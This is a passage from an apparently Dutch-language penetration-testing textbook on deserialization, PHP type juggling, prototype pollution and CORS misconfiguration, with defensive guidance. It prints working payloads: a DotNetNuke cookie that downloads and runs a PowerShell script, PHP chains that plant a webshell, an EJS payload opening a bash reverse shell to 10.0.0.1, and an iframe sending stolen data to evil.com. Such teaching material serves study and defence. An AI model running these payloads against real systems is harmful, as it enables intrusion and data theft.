ysoserial.exe -g ObjectDataProvider -f XmlSerializer \
  -c "cmd /c whoami" -o raw

# TypeConfuseDelegate via BinaryFormatter (base64 output)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter \
  -c "cmd /c whoami" -o base64

# WindowsIdentity via Json.Net
ysoserial.exe -g WindowsIdentity -f Json.Net \
  -c "cmd /c whoami" -o raw

Veelgebruikte .NET gadget chains

Gadget Formatter Doelwit
ObjectDataProvider XmlSerializer DotNetNuke, SharePoint
TypeConfuseDelegate BinaryFormatter ViewState, Remoting
PSObject BinaryFormatter PowerShell Exchange
WindowsIdentity Json.Net Web API’s met TypeNameHandling
TextFormattingRunProperties BinaryFormatter Exchange CVE-2021-42321

DotNetNuke: het schoolvoorbeeld

DotNetNuke (DNN) is een CMS dat berucht is geworden als deserialisatie- doelwit. De DNNPersonalization cookie bevat een geserialiseerd XML-object dat door de server wordt gedeserialiseerd bij elk request:

<profile>
  <item key="name" type="System.Data.Services.Internal.ExpandedWrapper`2[
    [System.Diagnostics.Process, System],
    [System.Windows.Data.ObjectDataProvider, PresentationFramework]
  ], System.Data.Services">
    <MethodName>Start</MethodName>
    <MethodParameters>
      <string>cmd.exe</string>
      <string>/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')</string>
    </MethodParameters>
    <ObjectInstance xsi:type="Process"/>
  </item>
</profile>

Je stopt dit in de DNNPersonalization cookie, stuurt een request naar de DNN-server, en je hebt remote code execution. De server pakt de “koffer” open zonder te kijken wat erin zit.

Het IB commando: web_deser_dotnet

Het web_deser_dotnet commando in IB combineert de DotNetNuke-aanval met de generieke ysoserial.net payload-generatie:

IB Tip: De DNNPersonalization cookie in DotNetNuke is een klassiek OSWE-examendoelwit. Als je DNN tegenkomt, controleer dan of de cookie geserialiseerde XML bevat en of er een MAC-validatie op zit.

IB Tip: Zoek in de source code naar BinaryFormatter, XmlSerializer, JavaScriptSerializer, en Json.Net met TypeNameHandling. Elk van deze is een potentiele deserialisatie-sink.

IB Tip: Base64-gecodeerde content in cookies, ViewState, en hidden form fields is een rode vlag. Decodeer het en kijk wat erin zit.

PHP Deserialisatie

De taal die alle beveiligingszonden heeft uitgevonden

PHP heeft een speciale plek in de geschiedenis van webbeveiliging. Het is de taal die SQL injection mainstream maakte, die register_globals bedacht, die eval() in een template-engine stopte, en die een serialisatieformaat heeft dat zo gevaarlijk is dat het een eigen categorie van kwetsbaarheden heeft gecreeerd.

unserialize(): het probleem

PHP’s serialize() zet een object om in een string-representatie:

<?php
class User {
    public $name = "Jan";
    public $role = "admin";
}

$user = new User();
echo serialize($user);
// O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";}

En unserialize() doet het omgekeerde:

<?php
$data = 'O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";}';
$user = unserialize($data);
echo $user->role;  // "admin"

Het probleem? Wanneer je een object deserialiseert, roept PHP automatisch bepaalde “magic methods” aan:

Method Wanneer aangeroepen
__wakeup() Direct na deserialisatie
__destruct() Wanneer het object wordt vernietigd
__toString() Wanneer het object als string wordt gebruikt
__call() Wanneer een niet-bestaande methode wordt aangeroepen
__get() Wanneer een niet-bestaand property wordt gelezen

POP chains (Property Oriented Programming)

Net als Java’s gadget chains, kunt je in PHP bestaande klassen aan elkaar rijgen om code execution te bereiken. Het heet hier POP — Property Oriented Programming — omdat je de properties van objecten manipuleert om de chain te triggeren.

<?php
// Stel: deze klassen bestaan in de applicatie

class FileHandler {
    public $filename;
    public $content;

    public function __destruct() {
        // Schrijft content naar file bij object-destructie
        file_put_contents($this->filename, $this->content);
    }
}

class Logger {
    public $logFile;

    public function __toString() {
        return file_get_contents($this->logFile);
    }
}

// Aanvaller maakt een payload die een webshell schrijft:
$exploit = new FileHandler();
$exploit->filename = "/var/www/html/shell.php";
$exploit->content = "<?php system(\$_GET['cmd']); ?>";

// Serialiseer de payload
$payload = serialize($exploit);
// O:11:"FileHandler":2:{s:8:"filename";s:26:"/var/www/html/shell.php";
//   s:7:"content";s:34:"<?php system($_GET['cmd']); ?>";}

Wanneer de server unserialize($payload) aanroept, wordt het FileHandler-object aangemaakt. Zodra het script klaar is en PHP het object opruimt, wordt __destruct() aangeroepen, wat file_put_contents() aanroept met de door de aanvaller gecontroleerde filename en content. Webshell geschreven.

Phar deserialisatie

Dit is een bijzonder creatieve aanvalsvector. PHP Archive (phar) bestanden bevatten geserialiseerde metadata die automatisch wordt gedeserialiseerd wanneer een phar:// stream wrapper wordt gebruikt.

Het briljante eraan: veel PHP-functies die met bestanden werken, accepteren phar:// als protocol. Dus overal waar je een bestandspad kunt beinvloeden — file_exists(), is_dir(), fopen(), file_get_contents(), include() — kun je phar-deserialisatie triggeren:

<?php
// Maak een kwaadaardig phar-bestand
$phar = new Phar("exploit.phar");
$phar->startBuffering();

$exploit = new FileHandler();
$exploit->filename = "/var/www/html/shell.php";
$exploit->content = "<?php system(\$_GET['cmd']); ?>";

$phar->setMetadata($exploit);
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("dummy.txt", "dummy");
$phar->stopBuffering();

Nu upload je dit bestand (eventueel hernoemd naar exploit.jpg — PHP controleert de magic bytes, niet de extensie) en trigger je deserialisatie met:

<?php
// Ergens in de applicatie:
file_exists($_GET['path']);

// Aanvaller stuurt:
// ?path=phar://uploads/exploit.jpg/dummy.txt
// → PHP deserialiseert de metadata → __destruct() → webshell

IB Tip: Phar-deserialisatie werkt zelfs als unserialize() nergens in de code voorkomt. Zoek naar functies die bestandspaden accepteren waar je phar:// kunt injecteren. De lijst is lang: file_exists(), is_file(), is_dir(), filesize(), stat(), fopen(), file_get_contents(), file(), include(), require(), en meer.

IB Tip: Upload het phar-bestand met een .jpg of .gif extensie en prepend de juiste magic bytes om upload-filters te omzeilen. PHP’s phar-handler kijkt naar de interne structuur, niet naar de extensie.

Type Juggling (PHP)

Het circus van losse vergelijkingen

En nu komen we bij een kwetsbaarheid die zo absurd is dat je hem aan niet-technici kunt uitleggen en ze denken dat je een grap vertelt.

PHP heeft twee vergelijkingsoperatoren: - == (loose comparison): probeert waarden naar hetzelfde type te converteren voor vergelijking - === (strict comparison): vergelijkt waarde EN type

Het probleem is dat == dingen doet die geen enkel weldenkend mens zou verwachten:

<?php
// Welkom in PHP's type juggling circus
var_dump("0"  == false);    // true  — string "0" is falsy
var_dump(""   == false);    // true  — lege string is falsy
var_dump("0"  == null);     // false — MAAR "0" is niet null!
var_dump(""   == null);     // true  — lege string is null-achtig
var_dump(0    == "php");    // true  (PHP < 8.0) — "php" wordt 0
var_dump("1"  == "01");     // true  — numerieke strings worden vergeleken als getallen
var_dump("1"  == "1.0");    // true  — idem
var_dump(true == "anything"); // true — boolean true == elke niet-lege string

Je zou zeggen: wie schrijft er nu productie-code met ==? Het antwoord is: heel veel PHP-ontwikkelaars. Want == is het eerste wat je leert, het is korter, en “het werkt toch gewoon.” Tot het dat niet doet.

Magic hashes

Dit is waar het echt hilarisch wordt. PHP’s loose comparison behandelt strings die eruitzien als wetenschappelijke notatie als getallen:

<?php
var_dump("0e123"  == "0e456");   // true
var_dump("0e123"  == 0);         // true
var_dump("0e123"  == "0e99999"); // true

Waarom? Omdat 0e123 wordt geleinterpreteerd als 0 * 10^123 = 0. En 0e456 als 0 * 10^456 = 0. En 0 == 0 is true.

Nu het slechte nieuws: er bestaan strings waarvan de MD5-hash begint met 0e gevolgd door alleen cijfers:

Input MD5 hash
240610708 0e462097431906509019562988736854
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
PJNPDWY 0e291529052894702774557631701704
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536617

Dit betekent dat als een applicatie dit doet:

<?php
if (md5($user_input) == $stored_hash) {
    // Authenticatie geslaagd!
    login($user);
}

En de $stored_hash begint met 0e gevolgd door alleen cijfers, dan kun je inloggen door een van de bovenstaande magic hash inputs te gebruiken. Want 0e462... == 0e830... is true in PHP.

Je leest dit en je denkt: dit kan niet. Dit is te dom om waar te zijn. Maar het is waar, het werkt, en het is gevonden in echte applicaties.

JSON type confusion

Maar wacht, er is meer. Als een PHP-applicatie JSON accepteert, dan kun je types meesturen die de applicatie niet verwacht:

# Normaal login request
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "geheim_wachtwoord"}

# Type juggling aanval met boolean true
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": true}

Waarom werkt dit? Omdat in PHP:

<?php
// De applicatie doet:
if ($input_password == $stored_password) { ... }

// Met JSON input {"password": true}:
// $input_password is boolean true
// true == "elke_niet_lege_string" is TRUE in PHP

Boolean true is gelijk aan elke niet-lege string in PHP’s loose comparison. Je stuurt true als wachtwoord en je bent binnen.

Andere JSON-trucs:

# Integer 0 is gelijk aan strings die niet met een cijfer beginnen (PHP < 8.0)
{"password": 0}

# Array in plaats van string (crasht strcmp)
{"password": []}

strcmp() bypass

PHP’s strcmp() functie vergelijkt twee strings. Maar als je een array meegeeft in plaats van een string, returned het NULL:

<?php
// De applicatie doet:
if (strcmp($input, $stored) == 0) {
    // Authenticatie geslaagd!
}

// strcmp(array(), "wachtwoord") returns NULL
// NULL == 0 is TRUE in PHP
// → Authenticatie bypass

Dit exploit je door een array te sturen in plaats van een string:

# In een form POST:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[]=anything

De password[] syntax maakt er een PHP-array van. strcmp() krijgt een array, returned NULL, en NULL == 0 is true.

Het IB commando: web_type_juggle

Het web_type_juggle commando in IB bundelt de magic hashes, JSON type confusion, en strcmp() bypass technieken:

IB Tip: Zoek in PHP source code naar == (loose comparison). Elke plek waar gebruikersinput via == wordt vergeleken, is een potentieel type juggling doelwit.

IB Tip: Probeer bij login formulieren altijd een JSON body met boolean of integer waarden. Verander de Content-Type naar application/json en stuur {"password": true} of {"password": 0}.

IB Tip: Gebruik === (strict comparison) en password_verify() in je eigen code. Het is de enige manier om dit circus te stoppen.

Prototype Pollution (JavaScript)

Het DNA van objecten besmetten

Nu verlaten we de wereld van serialisatie en betreden we een kwetsbaarheid die uniek is voor JavaScript. Prototype pollution is het vermogen om de prototype-keten van JavaScript-objecten te manipuleren, waardoor je properties kunt injecteren in elk object in de applicatie.

Om te begrijpen hoe dit werkt, moet je begrijpen hoe JavaScript’s prototypesysteem in elkaar zit.

Prototypes in JavaScript

In JavaScript erven alle objecten van een prototype. Wanneer je een property opvraagt dat niet bestaat op het object zelf, zoekt JavaScript het op in de prototype-keten:

const user = { name: "Jan" };

// user heeft geen 'role' property
console.log(user.role);  // undefined

// Maar als we het prototype van alle objecten besmetten:
Object.prototype.role = "admin";

// Dan heeft IEDERE object in de applicatie nu 'role':
console.log(user.role);        // "admin"
console.log({}.role);           // "admin"
console.log(({}).role);         // "admin"

const newObj = {};
console.log(newObj.role);       // "admin"

Door een property toe te voegen aan Object.prototype, verschijnt dat property op elk object dat geen eigen role property heeft. Dit is het fundament van prototype pollution.

Hoe het wordt geexploiteerd

De aanval werkt via functies die objecten “deep mergen” — recursief properties kopieren van een bron-object naar een doel-object. Als de functie niet controleert op speciale property-namen, dan kan een aanvaller __proto__ gebruiken om het prototype te besmetten:

// Kwetsbare deep merge functie
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// Aanvaller stuurt:
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');

// Na de merge:
merge({}, malicious);

// Nu is IEDERE object "admin":
const user = {};
console.log(user.isAdmin);  // true

Detectie (blackbox)

In IB’s web_prototype_pollution commando staan de detectie-technieken:

# JSON input met __proto__
POST /api/update HTTP/1.1
Content-Type: application/json

{"__proto__":{"polluted":"yes"}}

# Alternatieve syntax via constructor
{"constructor":{"prototype":{"polluted":"yes"}}}

Na het versturen, controleer je of de pollution is gelukt:

// Als {}.polluted === "yes", dan is de applicatie kwetsbaar

Een agressievere test:

# Crash test: overschrijf toString
{"__proto__":{"toString":"crash"}}

Als de applicatie crasht na dit request, weet je dat prototype pollution werkt — je hebt toString() overschreven voor alle objecten, en zodra iets een object naar een string probeert te converteren, gaat het mis.

Van pollution naar RCE

Prototype pollution alleen is irritant maar niet catastrofaal. De echte schade ontstaat wanneer je het combineert met een template engine op de server. Dat is het moment waarop irritant escalieert naar remote code execution.

EJS (Embedded JavaScript):

{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.0.0.1/443 0>&1\"');x"
  }
}

EJS gebruikt outputFunctionName intern om de output-functie te benoemen in gecompileerde templates. Door deze te overschrijven met JavaScript-code, wordt die code uitgevoerd wanneer de template wordt gerenderd.

Pug (voorheen Jade):

{
  "__proto__": {
    "block": {
      "type": "Text",
      "val": "x]];process.mainModule.require('child_process').exec('id');//"
    }
  }
}

Handlebars:

Handlebars heeft een complexere chain via compiler internals, maar het principe is hetzelfde: pollute een intern property dat wordt gebruikt tijdens template compilatie, en je code wordt uitgevoerd.

Kwetsbare bibliotheken

Het probleem zit niet in JavaScript zelf, maar in bibliotheken die “deep merge” of “deep extend” operaties uitvoeren zonder __proto__ te filteren:

Bibliotheek Kwetsbare versie Fix
lodash.merge < 4.6.2 Filtert __proto__ sinds fix
deep-extend Alle versies Gebruik alternatief
jQuery.extend (deep) < 3.4.0 Filtert prototype keys
hoistjs Alle versies Gebruik alternatief
defaults-deep Alle versies Gebruik alternatief
assign-deep Alle versies Gebruik alternatief

Belangrijk: Object.assign() is NIET kwetsbaar. Het doet een shallow copy en kopieert geen prototype-properties.

Detectie in source code

Als je whitebox-toegang hebt, zoek dan naar:

// Kwetsbaar: deep merge/extend zonder prototype check
merge(target, source)
extend(true, target, source)
_.merge(target, source)           // lodash < 4.6.2
$.extend(true, target, source)    // jQuery < 3.4.0

// NIET kwetsbaar:
Object.assign(target, source)     // shallow copy

Het IB commando: web_prototype_pollution

IB Tip: Combineer prototype pollution met een template engine voor een RCE-chain. EJS, Pug, en Handlebars hebben allemaal bekende pollution-naar-RCE gadgets.

IB Tip: WebSocket-parameters worden vaak minder gesanitized dan HTTP-parameters. Als je prototype pollution probeert, test dan ook WebSocket-endpoints.

IB Tip: Gebruik Object.create(null) voor objecten die als key-value stores worden gebruikt. Deze objecten hebben geen prototype en zijn immuun voor pollution. Alternatieven: Map of een expliciete hasOwnProperty() check.

De overkoepelende les

Laten we even een stap terug doen. We hebben nu vier verschillende kwetsbaarheden bekeken — Java deserialisatie, .NET deserialisatie, PHP type juggling, en JavaScript prototype pollution — en ze hebben allemaal hetzelfde fundamentele probleem:

We vertrouwen data van de gebruiker om objecten te maken.

Laat dat even bezinken. We nemen input van het internet — van willekeurige mensen, van bots, van aanvallers — en we gebruiken die input om objecten te construeren in het geheugen van onze server. Objecten met methoden. Objecten die code uitvoeren. Objecten die bestanden schrijven, processen starten, en databases leegrekken.

En we vinden dit normaal.

De hele software-industrie heeft collectief besloten dat het een goed idee is om de gebruiker te laten bepalen welke klasse er wordt geïnstantieerd, welke properties worden gezet, en welke methoden worden aangeroepen. We hebben hier design patterns voor gebouwd. We hebben er frameworks omheen getimmerd. We hebben er conferenties over gehouden.

En dan zijn we verbaasd als iemand een CommonsCollections1-payload stuurt en onze server overneemt.

Het is alsof je een restaurant runt waar de gasten hun eigen eten meenemen, het zelf opwarmen in je keuken, en het serveren aan andere gasten. En dan sta je perplex als iemand rattengif in de soep doet.

“Maar we hadden een bord bij de deur dat zei ‘geen rattengif’!”

Ja, en PHP heeft documentatie die zegt “gebruik geen unserialize() op onvertrouwde data.” En Java heeft een heel JEP (Java Enhancement Proposal) over serialisatiefilters. En .NET heeft BinaryFormatter als “deprecated” gemarkeerd.

En toch staan ze er allemaal nog. In productie. Op het internet. Nu.

Omdat het makkelijker is om een deprecated-label te plakken dan om code te herschrijven. Omdat legacy-systemen niet uit zichzelf verdwijnen. Omdat de ontwikkelaar die dit tien jaar geleden schreef er allang niet meer werkt. En omdat niemand het budget krijgt om iets te fixen dat “gewoon werkt” — totdat het dat niet meer doet.

Verdediging

Algemene principes

1. Deserialiseer nooit onvertrouwde data met type-informatie

Dit is de gouden regel. Als je data van een gebruiker ontvangt en die data bepaalt welk type object er wordt aangemaakt, dan heb je een probleem. Gebruik formaten die geen type-informatie bevatten (JSON zonder TypeNameHandling, protobuf met een vast schema) of valideer strikt welke types zijn toegestaan.

2. Whitelist klassen

Als je absoluut moet deserialiseren met type-informatie, gebruik dan een whitelist van toegestane klassen. Niet een blacklist — die is altijd incompleet.

Java (serialisatie-filter, JEP 290):

// Alleen specifieke klassen toestaan
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;!*"
);
ObjectInputStream ois = new ObjectInputStream(stream);
ois.setObjectInputFilter(filter);

.NET:

// Gebruik System.Text.Json in plaats van Newtonsoft.Json
// Of als je Newtonsoft moet gebruiken:
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.None  // NOOIT Auto/Objects/All
};

PHP:

<?php
// Gebruik allowed_classes parameter (PHP 7+)
$obj = unserialize($data, ['allowed_classes' => ['User', 'Product']]);

// Of beter: gebruik helemaal geen unserialize() op user input
// Gebruik JSON:
$data = json_decode($input, true);

3. Integriteitscontroles

Voeg een HMAC (Hash-based Message Authentication Code) toe aan geserialiseerde data. Als de data is gewijzigd, detecteer je dat voor deserialisatie:

// Voor serialisatie
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(secretKey);
byte[] signature = mac.doFinal(serializedData);
// Stuur serializedData + signature

// Voor deserialisatie
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(secretKey);
byte[] expectedSignature = mac.doFinal(receivedData);
if (!MessageDigest.isEqual(expectedSignature, receivedSignature)) {
    throw new SecurityException("Data is gewijzigd!");
}

4. Verwijder onnodige gadgets van het classpath

In Java: als je Apache Commons Collections niet actief gebruikt, verwijder het dan van je classpath. Geen gadgets op het classpath = geen gadget chains.

5. Upgrade

Veel van deze kwetsbaarheden zijn gefixt in nieuwere versies: - PHP 8.0 heeft het meeste type juggling gedrag verwijderd - lodash.merge filtert __proto__ sinds versie 4.6.2 - .NET’s BinaryFormatter is deprecated en verwijderd in .NET 9 - Java’s serialisatie-filters (JEP 290) zijn beschikbaar sinds Java 9

Taalspecifieke verdediging

Java:

// NIET:
ObjectInputStream ois = new ObjectInputStream(untrustedStream);
Object obj = ois.readObject();

// WEL: gebruik JSON (Jackson, Gson) met POJOs
ObjectMapper mapper = new ObjectMapper();
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
// Deserialiseer naar een specifiek type, niet naar Object
User user = mapper.readValue(jsonString, User.class);

.NET:

// NIET:
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream);

// NIET:
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.Auto
};

// WEL: System.Text.Json (geen TypeNameHandling)
var user = JsonSerializer.Deserialize<User>(jsonString);

PHP:

<?php
// NIET:
$obj = unserialize($_COOKIE['session']);

// WEL: JSON
$data = json_decode($_COOKIE['session'], true);

// NIET:
if (md5($input) == $stored_hash) { ... }

// WEL: strict comparison en password_verify
if (password_verify($input, $stored_hash)) { ... }

JavaScript:

// NIET: kwetsbare deep merge
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key];  // Polluted!
    }
}

// WEL: filter prototype keys
function safeMerge(target, source) {
    for (let key of Object.keys(source)) {
        if (key === '__proto__' || key === 'constructor') continue;
        if (typeof source[key] === 'object' && source[key] !== null) {
            target[key] = target[key] || {};
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// OF: gebruik Object.create(null) voor prototype-loze objecten
const safeStore = Object.create(null);

// OF: gebruik Map
const safeMap = new Map();

Referentietabel

Deserialisatie-aanvallen per taal

Taal Sink Detectie Gadget tool Verdediging
Java ObjectInputStream.readObject() AC ED 00 05 / rO0AB ysoserial JEP 290 filters, whitelist classes
.NET BinaryFormatter.Deserialize() Base64 in ViewState/cookies ysoserial.net System.Text.Json, geen TypeNameHandling
PHP unserialize() O: prefix in data PHPGGC json_decode(), allowed_classes
Python pickle.loads() \x80\x05 header json.loads(), nooit pickle op user input
Ruby Marshal.load() \x04\x08 header JSON.parse()

Magic bytes voor detectie

Formaat Hex Base64 prefix
Java serialized AC ED 00 05 rO0ABQ
.NET BinaryFormatter Variabel Variabel (check ViewState)
Python pickle (v5) 80 05 gAU
Ruby Marshal (4.8) 04 08 BAg
PHP serialized Leesbaar: O:, a:, s: N/A (tekst)

PHP type juggling cheat sheet

Expressie Resultaat Waarom
"0e123" == "0e456" true Beide zijn 0 in scientific notation
true == "anything" true Bool true == elke niet-lege string
0 == "php" true (< 8.0) “php” cast naar int 0
"" == null true Lege string is null-achtig
"0" == false true String “0” is falsy
[] == null false Array is niet null
strcmp([], "str") NULL strcmp crasht op arrays
NULL == 0 true NULL cast naar int 0

Prototype pollution RCE chains

Template engine Polluted property Impact
EJS outputFunctionName RCE via template render
Pug block RCE via template compile
Handlebars pendingContent RCE via compiler
Nunjucks env RCE via environment

IB Command referentie

Commando Categorie Kernfunctie
web_deser_java Java deserialisatie ysoserial payloads, gadget chains, HSQLDB
web_deser_dotnet .NET deserialisatie ysoserial.net, DNN, ViewState
web_type_juggle PHP type juggling Magic hashes, JSON confusion, strcmp bypass
web_prototype_pollution JS prototype pollution __proto__ injection, template RCE

Tools

Tool URL Gebruik
ysoserial https://github.com/frohoff/ysoserial Java deserialisatie payloads
ysoserial.net https://github.com/pwntester/ysoserial.net .NET deserialisatie payloads
PHPGGC https://github.com/ambionics/phpggc PHP gadget chain payloads
marshalsec https://github.com/mbechler/marshalsec Diverse marshalling-formaten
JNDI-Exploit-Kit Diverse repos JNDI injection (Log4Shell-stijl)

Samenvatting

Deserialisatie is het probleem dat ontstaat wanneer we vergeten dat niet alle koffers door vrienden worden ingepakt. We nemen binaire blobs, JSON met type-hints, en PHP-strings van het internet, en we bouwen er objecten van in het geheugen van onze server. Objecten die methoden hebben. Objecten die dingen doen.

Java’s gadget chains laten zien hoe bestaande bibliotheken aan elkaar geketend kunnen worden tot een remote code execution machine. .NET’s BinaryFormatter en ViewState bewijzen dat het probleem niet taalgebonden is. PHP’s type juggling demonstreert dat je niet eens deserialisatie nodig hebt — een == in plaats van === is genoeg om authenticatie te omzeilen. En JavaScript’s prototype pollution toont aan dat het verrijken van de prototype-keten van alle objecten in een applicatie slechts een __proto__ property verwijderd is.

De verdediging is conceptueel eenvoudig: vertrouw geen data van de gebruiker om objecten te construeren. Gebruik type-safe formaten zonder class-informatie. Whitelist wat er gedeserialiseerd mag worden. Valideer integriteit met HMACs. En als je PHP schrijft, gebruik dan ===. Altijd. Overal. Geen uitzonderingen.

IB Tip finale: Bij een pentest, zoek systematisch naar deserialisatie-sinks. In Java: grep op readObject, XMLDecoder, fromXML. In .NET: grep op BinaryFormatter, TypeNameHandling, JavaScriptSerializer. In PHP: grep op unserialize, __wakeup, __destruct. In Node.js: grep op merge, extend, __proto__. De sink vertelt je waar de bom tikt. De gadgets vertellen je hoe je de lont aansteekt.

Client-Side Kwetsbaarheden

Client-Side Kwetsbaarheden

De browser is een ambassade.

Dat klinkt misschien overdreven, maar het is een verrassend treffende vergelijking. In de wereld van diplomatie is een ambassade soeverein grondgebied. De Franse ambassade in Den Haag is, juridisch gezien, een stukje Frankrijk. De Nederlandse politie mag er niet zomaar naar binnen lopen, ook al staat het gebouw midden in een Nederlandse stad. Er gelden andere regels. Andere wetten. Een andere autoriteit.

Je browser werkt op precies dezelfde manier. Wanneer je inlogt bij je bank, creëert de browser een soort diplomatieke enclave voor die banksite. De cookies, de sessiedata, de JavaScript-variabelen – dat is allemaal soeverein territorium van bank.nl. Een andere website, zeg evil.com, mag daar niet bij. Niet bij de cookies, niet bij de DOM, niet bij de API-responses. De browser handhaaft die grens met de vastberadenheid van een ambassadebewaker die net zijn koffie op heeft.

Maar wat als iemand de ambassadeur misleidt? Wat als iemand een brief stuurt die er officieel uitziet, met het juiste briefhoofd en de juiste toon, en de ambassadeur overtuigt om gevoelige documenten naar het verkeerde adres te sturen? De bewaker bij de deur heeft niets verkeerds gezien. De brief kwam via het juiste kanaal. Maar het resultaat is desastreus.

Dat is, in essentie, waar dit hoofdstuk over gaat. Client-side kwetsbaarheden misbruiken niet zozeer de server als wel de browser. Ze misleiden die trouwe ambassadebewaker – de Same-Origin Policy, de cookie-jar, de CORS-engine – om dingen te doen die niet de bedoeling waren. En het briljante, of het tragische, afhankelijk van je perspectief, is dat de browser elke keer braaf doet wat hem gevraagd wordt. Hij weet niet beter. Hij volgt de regels. Het zijn de regels die verkeerd zijn geconfigureerd.

11.1 De Same-Origin Policy: het fundament

Voordat we het over de kwetsbaarheden hebben, moeten we het over de verdediging hebben. Want je kunt pas begrijpen hoe iets kapotgaat als je weet hoe het hoort te werken.

De Same-Origin Policy (SOP) is het belangrijkste beveiligingsmechanisme in elke moderne browser. Het concept is simpel: JavaScript op pagina A mag alleen resources benaderen van pagina B als beide pagina’s dezelfde origin delen.

Een origin bestaat uit drie onderdelen:

  1. Protocol: https vs http
  2. Hostname: www.bank.nl vs api.bank.nl
  3. Poort: :443 vs :8443

Alle drie moeten overeenkomen. Als er ook maar een verschilt, beschouwt de browser het als een andere origin en blokkeert de toegang.

URL A URL B Zelfde origin? Reden
https://bank.nl/home https://bank.nl/api/data Ja Zelfde protocol, host, poort
https://bank.nl http://bank.nl Nee Ander protocol
https://bank.nl https://api.bank.nl Nee Ander subdomein
https://bank.nl https://bank.nl:8443 Nee Andere poort

De SOP is bedacht in 1995, in de vroege dagen van Netscape Navigator. Het was een van die zeldzame beveiligingsbeslissingen die achteraf gezien precies goed was. Zonder de SOP zou elke website die je bezoekt de cookies van elke andere website kunnen lezen. Je bankgegevens, je e-mail, je medische dossiers – alles zou voor het grijpen liggen voor elke pagina met een beetje JavaScript.

Maar de SOP is ook streng. Te streng voor het moderne web, waar een Single Page Application op app.example.com routinematig API-calls maakt naar api.example.com. Die twee zijn technisch gezien verschillende origins. En de SOP blokkeert dat.

Dus bedachten we CORS. En daarmee begonnen de problemen.

11.2 CORS: de uitzondering die de regel brak

Cross-Origin Resource Sharing (CORS) is een mechanisme waarmee servers expliciet kunnen aangeven: “Deze andere origin mag mijn resources benaderen.” Het is een uitzonderingsregel op de SOP. Een achterdeurtje, bewust ingebouwd, met de beste bedoelingen.

Het werkt via HTTP headers. Wanneer JavaScript op app.example.com een fetch() doet naar api.example.com, stuurt de browser eerst een Origin header mee:

GET /api/userinfo HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Cookie: session=abc123

De server bekijkt die Origin header en beslist: vertrouw ik deze afzender? Als het antwoord ja is, stuurt hij speciale headers terug:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"user": "admin", "email": "admin@example.com", "role": "superuser"}

De browser leest die response headers en denkt: de server zegt dat app.example.com deze data mag lezen. Dan laat ik het toe.

Klinkt redelijk, toch? Het probleem is niet het mechanisme. Het probleem is hoe mensen het configureren.

De vijf dodelijke CORS-zonden

Zonde 1: Reflected Origin

Dit is de meest voorkomende en de meest catastrofale fout. De server reflecteert blindelings elke Origin header die hij ontvangt:

# Extreem onveilige Flask configuratie
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin', '')
    response.headers['Access-Control-Allow-Origin'] = origin  # ELKE origin!
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Dit is het beveiligingsequivalent van een uitsmijter die tegen iedereen zegt: “Ja, jij staat op de lijst.” Het maakt niet uit wie je bent. Je staat op de lijst. Kom binnen. Neem je vrienden mee.

Zonde 2: Null Origin vertrouwen

Sommige developers weten dat ze niet zomaar elke origin moeten vertrouwen, dus maken ze een whitelist. Maar ze vergeten dat er een speciale origin bestaat: null. Die wordt verstuurd door:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Een aanvaller kan eenvoudig een null origin forceren via een sandboxed iframe:

<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://target.com/api/userinfo', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    // Stuur gestolen data naar aanvaller
    new Image().src = 'https://evil.com/steal?d='
        + encodeURIComponent(JSON.stringify(data));
})
</script>
"></iframe>

De sandbox attribute zonder allow-same-origin dwingt de origin naar null. Als de server null vertrouwt, leest de aanvaller de volledige API-response.

Zonde 3: Regex-bypass

Developers die een whitelist implementeren met regex, maken regelmatig fouten:

# Bedoeling: alleen *.example.com toestaan
if re.match(r'https://.*example\.com', origin):
    # Oeps: matcht ook https://evil-example.com
    # En: https://example.com.evil.com

De juiste regex zou er zo uitzien:

if re.match(r'^https://([a-z0-9-]+\.)*example\.com$', origin):
    # Nu alleen echte subdomeinen van example.com

Maar zelfs dan: als de aanvaller een XSS-kwetsbaarheid vindt op enig subdomein van example.com – zeg blog.example.com – kan hij die als springplank gebruiken om CORS-gerelateerde aanvallen uit te voeren op api.example.com.

Zonde 4: Wildcard met credentials

Volgens de specificatie is dit ongeldig:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browsers weigeren dit te accepteren. Maar sommige servers sturen het toch, en sommige proxy-configuraties “corrigeren” het door de wildcard te vervangen door de reflected origin. Het resultaat is Zonde 1, maar met extra stappen.

Zonde 5: Pre-flight verwaarlozen

